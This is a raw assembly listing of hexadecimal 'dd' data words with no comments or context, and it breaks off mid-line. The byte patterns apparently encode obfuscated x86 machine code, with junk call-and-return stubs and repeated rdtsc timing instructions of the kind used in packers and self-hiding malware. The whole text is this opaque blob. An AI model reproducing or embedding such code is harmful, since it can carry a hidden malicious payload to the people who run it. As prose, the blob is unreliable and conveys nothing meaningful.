0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0C47EF2BBh dd 8930DE7Ch, 3268D9Dh, 0E9BD8B06h, 89060304h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0CE4EBA9Ch, 98D89C9h, 8B060301h, 313C185h, 999D8B06h dd 89060306h, 6A0446h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 94D460C3h, 6EB782B1h, 8E94Dh, 0F7350000h dd 554AF9E0h, 8A503C65h, 243489DDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 80C35646h, 8BE317D8h, 0C6BB6640h dd 2CB5FFD0h, 680606A7h, 89B64893h, 14E8h, 3F2AF700h, 0F87AEFC4h dd 109B9ABCh, 0D89E2DEDh, 0C741BCD5h, 11E93Eh, 9EA60000h dd 3B436903h, 0C15ACAE6h, 2582DF06h, 5F8021DAh, 6C240481h dd 6A7668BBh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 0E8CAC356h, 13h, 4FECA0BCh, 24EA5470h dd 0C7E1AE2Ah, 46913C1Eh, 50C40B36h, 0D75DDF81h, 5B5F2AD9h dd 0CE9h, 0B3633500h, 0DEF44E80h, 89431738h, 34858D70h dd 6A0606A7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0B1C0C352h, 8F8D6116h, 9D8B3B00h dd 6031E69h, 0B8A0F50h, 0F000000h, 58Eh, 6961BB00h, 4891E1Ah dd 0E20EBF24h, 95FF724Ah, 6031405h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 30C35545h, 0A14A4DB2h, 1BD19589h dd 6A610603h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 6A96C353h, 5ED03CCFh, 312E24EEh dd 322E59Dh, 0BD85C706h dd 3060321h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0DB88C353h, 83F98B66h dd 6A734BDh, 840F0006h, 1Fh, 3A00DF81h, 2FE92485h, 81000000h dd 465A5DD3h, 9E971h, 43980000h, 0AD0D7618h, 507314F0h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 0EB81C08Bh, 4543EC4Bh, 83FFB70Fh, 321BDBDh, 850F0306h dd 3F7h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 80C35242h, 0BD89D61Fh, 6032035h, 23418D31h, 4BF0603h dd 835E5794h, 6A734BDh, 840F0006h, 3BBh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 8DC35141h, 1D16C548h dd 0FDE14433h, 2258D89h, 0B5FF0603h, 606A734h, 10FD9D8Bh dd 95FF0603h, 6032E05h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0EEC35242h, 7D5FC523h, 0C47159A7h, 759D0BA9h dd 8B06030Bh, 6A728B5h, 719D2306h, 0C706030Ch, 1000106h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0A397B143h, 0E38196F2h, 78287C4Bh, 38D0F96h dd 66000000h, 0B350DF8Bh, 6A9682h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0A549F9C3h, 8BA7B781h dd 32DA59Dh, 34B5FF06h, 0FF0606A7h, 32F1995h, 0BF665006h dd 8B5F7C3Eh, 6A728B5h, 1D858B06h, 8B060331h, 30FBD9Dh dd 0FE906h, 83EB0000h, 68050C95h, 55BBE9B9h, 2824E06Ch dd 0C48689C7h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 3DFBC357h, 55036A32h dd 66692764h, 8BB088BBh, 331D195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0CE9DB09Dh dd 0E84FD2DEh, 0Fh, 717948B1h, 0C32E7DE4h, 8A5BBB87h, 5F02C086h dd 6A04C283h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 8134C352h, 0EC6B4FD7h, 20508908h dd 0BDBD8B56h, 5B060313h, 0BBF3858Dh, 6A0606h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0ECC27FC3h, 8BCB8171h, 8992B3DFh, 0B886h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0A4FE74EFh, 53B2F629h, 2D6DBD8Bh, 6A5B0603h, 0FF59B700h dd 6A734B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0CD858961h, 0FF060320h, 31CB195h dd 68A0F06h, 3000000h, 330B5BDh, 52509606h, 0BE960h, 0FD9A0000h dd 64D10306h, 0A91906E3h, 8F0F22h, 61000000h, 0DEB7310Fh dd 0BF50585Ah, 4358ED0h, 51006A96h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 34B5FFE6h, 230606A7h dd 32979BDh, 6595FF06h, 6A060311h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0B88CC353h dd 7EE41C77h, 836D84C6h, 31795BDh, 840F0006h, 35h, 9D9D8B57h dd 5B06030Ah, 0BF606096h, 5A82973h, 0FE9h, 2BCDE200h, 923C71A1h dd 75902A2Eh, 6BA75F2Fh, 0DE8B6661h, 8B535061h, 8B965BF8h dd 328B19Dh, 34B5FF06h, 0E80606A7h, 10h, 4D877578h, 6C7A8B4Dh dd 9B350F7Fh, 0B004CD05h, 231BD8Bh, 8B5B0603h, 6195FFFBh dd 89060306h, 31F65BDh, 34B5FF06h, 6A0606A7h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0FF0EC357h, 30AE195h, 8E906h, 0BDDE0000h, 0BB3CE809h dd 0BD83CABEh, 603218Dh, 3A840F02h, 9000000h, 3175985h dd 0FD858B06h, 0FC060301h, 6A0000C6h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2914C357h dd 0BAC7CDC6h, 8162A347h, 6B3E54F7h, 0B985C701h, 60330h dd 8B000000h, 0E98529DFh, 0E9060301h, 0FFFFF34Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EAC35747h, 6879F381h dd 0C18B5E7Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0E1C35646h, 0A9F44F30h, 8D8B3FB7h, 3281185h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0BD8B1B01h, 6031D51h, 52506050h, 820Fh, 310F0000h, 310F5250h dd 585A585Ah, 8961FB8Bh, 6A2404h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 668CB9C3h, 925DC781h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0BF6678C3h, 6ABA36h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 52C35242h, 0A0C4A2A0h, 9E9E4h dd 37120000h, 39F19231h, 80DEE6C7h, 858DB5C3h, 6075699h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FC35343h dd 9D89D926h, 6030631h, 0F05C083h, 8B90DFBFh, 6E950F9h dd 0D5000000h, 0E79F403Bh, 6A90B0h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 594DDBC3h dd 881F927Fh, 6A31BF9Fh, 12E800h, 87240000h, 67AAD642h dd 0BB62964h, 37B57944h, 73ADCEAAh, 6A5BF9h, 0CC995FFh dd 8B660603h, 478D8DDEh, 6A060697h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 6D9BC352h dd 0DB814465h, 679AB056h, 29E18D29h, 0D1FF0603h, 1E20BF66h dd 1E91BD83h, 0F010603h, 6885h, 73BB6600h, 29026A7Fh, 323BD8Dh dd 0F565006h, 28Ah, 5F3EB700h, 6A240489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0A9BFC350h dd 0BD8B4758h, 6032851h, 1CB195FFh, 6A0603h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 91358DC3h dd 481403Dh, 0E8DE974h, 0E80000h, 5D000000h, 56A3ED81h dd 0BD890607h, 6030455h, 0E0BBFB8Bh, 8D23181Eh, 6888985h dd 0FFB70F06h, 4EC78166h, 6050902Eh, 2810Fh, 5A560000h dd 6A9061h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 10B81FC3h, 0FF64D98Bh, 35h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 89B8617Bh, 3281DB5h, 39BD8B06h, 64060326h, 2589h, 0A8BB0000h dd 0FF08E0BCh, 32A1585h, 6AFF6A06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 4247C353h dd 0FB8BFC16h, 21ADB5FFh, 6A0603h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0A26B41C3h, 95FF1FADh dd 6032015h, 117E9h, 0E7816600h, 0B06AA9h, 385BD8Bh, 70E60603h dd 0BE9h, 7FA0E500h, 6156E8D3h, 8AE8F74Dh dd 0BE9h, 0B614C500h, 0CC96C448h, 0FCB21931h, 0DF8171E4h dd 7EE40A72h, 830F613Ch, 0D8h, 2C199D8Bh, 0B60F0603h, 25BD89C8h dd 0BA060326h, 6, 66F88B66h, 62B4EF81h, 0BD8BC18Bh, 603295Dh dd 0E904E8C1h, 6, 0A8C3290Bh, 0F7664C4Eh, 0FE1ABBE2h, 0C82B0C27h dd 11E9h, 0F7642500h, 0E9143679h, 2E1B6608h, 35253F51h dd 0BB66C339h, 0D18B497Fh, 2E9D6B3h, 8B000000h, 0BD858BF8h dd 51060302h, 0AF74E781h, 835F7725h, 0FB8B07C0h, 6600C083h dd 0B4AAEF81h, 830FD03Bh, 12h, 4EE9F5h, 9D310000h, 6030315h dd 2F9B589h, 8D8B0603h, 603293Dh, 0E183DE8Bh, 31840F01h dd 8B000000h, 329999Dh, 71B58906h, 8306032Ch, 3293DA5h dd 89F9FE06h, 302BD95h, 0DE906h, 0EEF0000h, 27205FD2h dd 406FC1D5h, 0E978F1C3h, 0 dd 0D9A6B58Dh, 6A0606h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 1538FCC3h, 0B674A7A2h, 6850F68h dd 0F000000h, 86h, 6A006A00h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0D070C356h, 7DFDFBE2h dd 800FA20Dh, 1, 0A141BBFCh, 95FF5CDBh, 6031FB9h, 0F8B9DE8Bh dd 6A000009h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 7254C352h, 9E76BB42h, 0E1836B8Fh dd 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 6F67BB73h, 0FC25D380h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 5AC35747h, 6137C2E0h, 0B8D1365Ch dd 0 dd 0BADA8Ah, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 3D58C350h, 0D4C8CD01h dd 10E8B9FCh, 0A2000000h, 0F7DE2D2Dh, 6324A943h, 1DBAE510h dd 8B43E30Fh, 32E799Dh, 33AD5F06h, 3E8D1C2h, 4E983D0h dd 8B60F475h, 0EF8166D0h, 0D61212Ah, 88h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0A8C35343h, 0F4BA0268h dd 267E44EAh, 8E9DAh, 2F210000h, 37E2B44Bh, 0BD8B5181h dd 60322B9h, 31D1958Bh, 6A0603h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0F24E56C3h, 698D3193h dd 106031Eh, 308FDBDh, 0E3816606h, 8D8B9E59h, 60301E1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 12C35040h dd 90435020h, 0B6DA88F4h, 0C28B5046h, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 0BB58188Bh, 74DF588Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 76C35545h, 0BD89926Dh, 6030F7Dh dd 1D65BD83h, 0F000603h, 5E84h, 0B8FC00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 39EC350h, 0E63B4369h, 1C8D8DCAh, 6A06034Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0B486C353h, 0AD9D01FFh, 66060326h, 0FFA228BFh, 0CD9D8BE1h dd 8306031Ch, 321BDBDh, 840F0006h, 4B3h, 33D0DF81h, 0BD830066h dd 60321BDh, 0BB840F01h, 6A000004h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 65EDC357h dd 0AB825DC4h, 0BDBD83D2h, 3060321h, 456860Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 9DD17AC3h, 0AB119DA5h, 52006A60h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 890999B4h dd 3248D9Dh, 0D98C6606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 82C35545h, 0EF7F0C67h, 89F0BD4Fh, 31E71B5h dd 4E18006h, 68A0Fh, 0BD8B0000h, 6030CDDh, 840FC90Ah, 17Ah dd 5E9h, 9FC96000h, 858B18F6h, 60313C1h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 3CC35141h, 6BA3DE01h dd 23D92754h, 2DFD9D29h, 85330603h, 6031C79h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 77C35040h, 3998529h dd 66900603h, 0E950FE8Bh, 8, 5C26A84Bh, 18D7C1EDh, 56006A90h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0F565C611h, 8D0F006Ah, 6, 919BD8Bh, 4E80603h, 0FF000000h dd 50001F03h, 0F525052h, 71A1BF31h, 585A40A1h, 0BF66310Fh dd 585ADD63h, 24448B50h, 2A04BB04h, 8B0D4Dh, 8E85250h dd 0B6000000h, 54412BADh, 0BF1EA4B5h, 1CE32D43h, 8B310F5Fh dd 89585AF8h, 52042444h, 5FDF8B66h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 1BAA52F1h dd 0CE02F412h, 0B529D2D5h, 6031ADDh, 140595FFh, 6A0603h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 69855CC3h, 0B776E22Dh, 0A7348589h, 9D8B0606h, 6031BCDh dd 1E6E9h, 5E900h, 0B96F0000h, 0E8FCEF96h, 0Fh, 0F697EE63h dd 6ACBCEE0h, 6B9DE722h, 8189037Eh, 8911CDE3h, 858B5B1Ch dd 606A72Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 54C35747h, 0C79728h, 18h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 2BC35040h, 941C479Dh, 898102D9h dd 32101B5h, 30B58B06h, 6A0606A7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0D512C355h dd 51430E8Eh, 0CE8h, 9452A300h, 42DEBE67h, 16779207h, 0ED9D89DFh dd 5B06030Ch, 8D858B5Bh, 6A060312h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0B038C357h dd 4D7B182Eh, 0E8563DF9h, 0Eh, 0D375DC04h, 0B526433Eh dd 774C86CEh, 8C0F0F20h, 0 dd 0B5295B5Fh, 60322C9h, 0BC4C56BFh, 57068969h, 1BC19501h dd 8B5F0603h, 313C185h, 0A9858906h, 89060329h, 0BD290446h dd 6030A31h, 14E85696h, 6E000000h, 69BAC995h, 30A3DD54h dd 68AD3531h, 700A7A91h, 66FBB6D9h, 5F5BDE8Bh, 96FA8B50h dd 2701BD8Bh, 0B5FF0603h, 606A72Ch, 0EE011268h, 24348133h dd 33F102EDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 3BC35747h, 8687A832h, 790B91FBh, 8DDE8B62h, 6A73485h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0A18D01C3h, 5006031Bh, 0FE2A78BBh, 2404893Dh dd 2D9D8Bh, 95FF0603h, 6031405h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 6BC35545h, 6163B760h, 0C7DFB70Fh dd 321BD85h, 306h, 10E800h, 0AC7A0000h, 330E5E6h, 0D22F725Bh dd 37DB2776h, 8960D300h, 3024D85h, 840F06h, 61000000h dd 34BD835Bh, 606A7h, 52840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F4DACC3h dd 68Eh, 258D8900h, 8B060313h, 309FD9Dh, 39E906h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 9DDD76C3h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 8BC08B00h, 30181BDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 3C1361A4h, 8A89EDB4h dd 0BDBD837Ch, 3060321h, 448850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 86F72BC3h dd 34BD83EBh, 606A7h, 41C840Fh, 0D88B0000h, 0A734B5FFh dd 6A0606h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 2AB32DC3h, 9D0BBE63h, 60301C5h, 2E0595FFh dd 0E7810603h, 754E4B9Ch, 0A728B58Bh, 6A0606h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0FB7992C3h, 0FD60C4E2h, 89CCE004h, 32DC19Dh, 0D9BF0F06h dd 106C7h, 6A0001h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0AF677BC3h, 95096BEEh, 6030F7Dh dd 0F5074B3h, 128Ah, 0DE900h, 0A6200000h, 8B6D40Ah, 18324B2Dh dd 8965116Fh, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0D957A6C3h, 34B5FF73h, 6A0606A7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 4D55C350h, 0FFE260A3h, 32F1995h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0DC62A012h, 3C481EBBh, 0B58BE29Bh, 606A728h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C2C35545h, 0E551147Eh dd 5D7C9921h, 3A14BFCAh, 0F98B4915h, 311D858Bh, 6A0603h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 2E42EFC3h, 96952D5Ah, 89D9BF0Fh, 0C486h, 0B70F5600h dd 958B5FF8h, 60331D1h, 837FE380h, 0B58904C2h, 6030179h dd 66205089h, 8D4C8CBBh, 6BBF385h, 0E59D3306h, 8906031Ah dd 0B886h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 0CC5382F5h, 4B967DDCh, 9DF8B4Dh dd 32695B5h, 81006A06h, 9000B9C3h, 34B5FF60h, 660606A7h dd 95FFF98Bh, 6031CB1h, 8D09A5B3h, 60305ADh, 8EAEBB96h dd 505057B6h, 9E952h, 0C0A20000h, 4C03138Eh, 0F14F8A2h dd 5ADE8B31h, 820F9658h, 5, 71EF8166h, 34B5FF00h, 6A0606A7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 620DC350h, 83A65B47h, 0FFF8BF0Fh, 3116595h dd 1830F06h, 0F8000000h, 1795BD83h, 0F000603h, 7384h, 7E800h dd 74E30000h, 2C42B542h, 0A147BFBFh, 965F0A31h, 52505250h dd 5250310Fh, 585A310Fh, 310F585Ah, 585ADE8Ah, 8B666050h dd 11E9C2h, 9AD0000h, 992E7378h, 492FCFF3h, 0AC3008C3h dd 6188B654h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 4D4E0BD0h, 8112B68Eh, 2BC1BD8Bh dd 0BD8B0603h, 603318Dh, 0A734B5FFh, 6A0606h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 5979A0C3h dd 3EDF81C3h, 0FF3E6675h, 3066195h, 0D1BD8B06h, 0FF060323h dd 6A734B5h, 0FDBD3106h, 8906032Eh, 32D059Dh, 0E195FF06h dd 6A06030Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0F9DAC356h, 62B2EFACh, 218DBD83h dd 0F020603h, 7F84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0E9D7D575h, 7, 0AAAF433Dh dd 8B25B356h, 301FD85h, 0F9BF0F06h, 6A0000C6h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 8710C353h, 0A502D5FEh, 11E8h, 0B8F0C100h, 0CDB37E9Bh dd 90026E52h, 0EEDC47DDh, 6E96D5Ah, 0F9000000h, 0AA4E1E89h dd 9D0B5F0Fh, 6031749h, 30B985C7h, 603h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0ACEDE9C3h, 15DCA483h, 0BFEF5BFEh, 0CDE9905h, 935B589h dd 96E90603h, 6AFFFFF2h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 5BAEC351h, 828B35FFh dd 0B5016019h, 603116Dh, 12E8h, 0ADE51500h, 0A44EB018h dd 96F586F9h, 0B1013993h, 0B2269065h, 29615881h, 324F595h dd 6AC18B06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 1879C356h, 3033C9DCh, 8D29FE21h dd 6030361h, 11E8h, 64756F00h, 66663D47h, 43054919h, 13955837h dd 8D5F3510h, 3281185h, 69950106h, 90060303h, 5E9CBB66h dd 6A9050h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0BF2F55C3h, 32A40981h, 8E9856Bh, 0FE000000h dd 96070639h, 6AC9B1BDh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0EE5DB842h, 0BD8BF9A9h dd 60312EDh, 6ADBBF0Fh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0CD9D8B0Dh, 8D06032Ch dd 7679785h, 2880F06h, 8B000000h, 5C083D8h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0ADC35141h, 0DC014Ah dd 66682BCEh, 0F390D381h, 8E8h, 0D2B7C600h, 8C44B0EEh dd 55BD89D4h, 5F060331h, 66515090h, 905BFA8Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B1C35747h, 0FE80Bh dd 0B05E0000h, 18B6E4D4h, 714E27B3h, 0E5012553h, 6A5BD1h dd 2A858529h dd 6A0603h, 21B068BFh, 0C995FF60h, 6A06030Ch, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 970FC351h, 0BD8B0EE1h, 60302F9h, 1111BD0Bh, 8D8D0603h dd 6069747h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0F5C35040h, 0FD1FF7Fh, 0BD83DFB7h, 6031E91h, 0DC850F01h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 169C352h, 0BF51D241h, 373EC04Eh dd 14E85Bh, 91B60000h, 437AD038h, 392AA182h, 0E9228C8Ah dd 69C868BEh, 6E967EAh, 0FA000000h, 0E5F1A6E9h, 26A5B81h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1FC35545h dd 0EC0373BBh, 8B669020h, 14E850FEh, 33000000h, 0A2F472BEh dd 679504D0h, 49DD0A99h, 9ECDA7A1h, 66902E78h, 905BD98Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 96C35343h dd 631F339Eh, 768628DDh, 108F0Fh, 0BE90000h, 0C7000000h dd 0B01FCAEDh, 7B4E51AFh, 0BD8BF2EBh, 6031AC9h, 1CB195FFh dd 81660603h, 0E9D6A2D7h, 0DF3h, 0E8h, 0ED815D00h, 60767A1h dd 5FDBD2Bh, 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0AD67D9C3h, 719D0B12h, 8D060317h dd 6888985h, 0A5BD8B06h, 50060323h, 3240489h, 31B399Dh dd 35FF6406h, 0 dd 1A75BD8Bh, 0FE8A0603h, 258964h, 0B000000h, 322F5BDh dd 0A19D3106h, 0FF060302h, 32A1585h, 11BD8B06h, 6A060326h dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 237DC36Ch, 13E8E2h, 2A4E0000h, 0B7659E30h dd 5089632Bh, 7ACA0672h, 0CF4EBD95h, 0FC535F50h, 6880F5Fh dd 89000000h, 32439B5h, 61B5FF06h, 8B060329h, 31AA99Dh dd 1595FF06h, 0E9060320h, 15Dh, 1A55B589h, 0B00603h, 1065BD8Bh dd 70E60603h, 9E8h, 2F884F00h, 53EB7AA8h, 2DB78B87h, 8971E45Bh dd 31F0995h, 89E78106h, 3C281066h, 26830F61h, 8B000001h dd 0C8B60FD9h, 235BD8Bh, 81660603h, 0BA4D3BE7h, 6, 8E9h dd 10F4B800h, 75F39FECh, 8BC18B00h, 323AD9Dh, 4E8C106h dd 6870Fh, 85890000h, 6032CA5h, 0BFE2F766h, 23E219Dh, 6E9C82Bh dd 0DA000000h, 58F460C5h, 0DF816628h, 0D18BC275h, 10E8h dd 6DA10F00h, 0A7731F43h, 0B03349BFh, 0B7D08BD3h, 0C9BD8B2Ch dd 5B06032Ch, 6E9h, 0B5852900h, 8B06031Ch, 3240185h, 0FE96006h dd 3D000000h, 0CA8A47ABh, 0CBF99356h, 0E884235Fh, 0B96683D1h dd 83619D68h, 0E38007C0h, 358D09C8h, 83060328h, 37BF00C0h dd 3B5E1A19h, 0C830FD0h, 0F000000h, 88h, 63E900h, 8BF80000h dd 31BC98Dh, 14E806h, 679B0000h, 86D45A8Fh, 0A2CE597Ah dd 1535A932h, 8DBDFADDh, 9E90813h, 19000000h, 24233FDFh dd 0E2B9E30Dh, 1E1835Fh, 2B840Fh, 95890000h, 6030179h dd 1BC9A583h, 0E9FE0603h, 8, 0A86F792Eh, 6D19C2BAh, 24019589h dd 0BD030603h, 6033149h, 0E9h, 0E4B58D00h, 660606E5h, 0D2F7DB81h dd 1A58BF66h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 3C2A22C3h, 895548FDh, 313ED9Dh dd 0B995FF06h, 6A06031Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 90CDC357h, 2ECC59Eh dd 58B3BC16h, 68D9D8Bh, 6BB90603h, 6A000008h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 861BC355h, 50C94537h, 0FCE1835Bh, 98C380FCh, 6AC02Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0A25F84C3h, 8B0F7F99h, 8, 28C0Fh, 61600000h, 6AD22Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0C7AE78C3h, 30A1BD89h, 0E3800603h, 0C233ADAEh, 0D003E8D1h dd 7504E983h, 56006AF4h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 61BA9128h, 8BC83D49h, 32BD99Dh, 81FE8A06h dd 0C8DBF0DBh, 880D2Eh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 4ABE3BC3h, 0E4EFAF4h dd 8B7E9903h, 331D195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 0E8238E10h, 12h, 6AC49C56h dd 2A1F24A5h, 0F7279297h, 4DFC68E2h, 8B669F64h, 8D8B5BF8h dd 60301E1h, 6860Fh, 8D890000h, 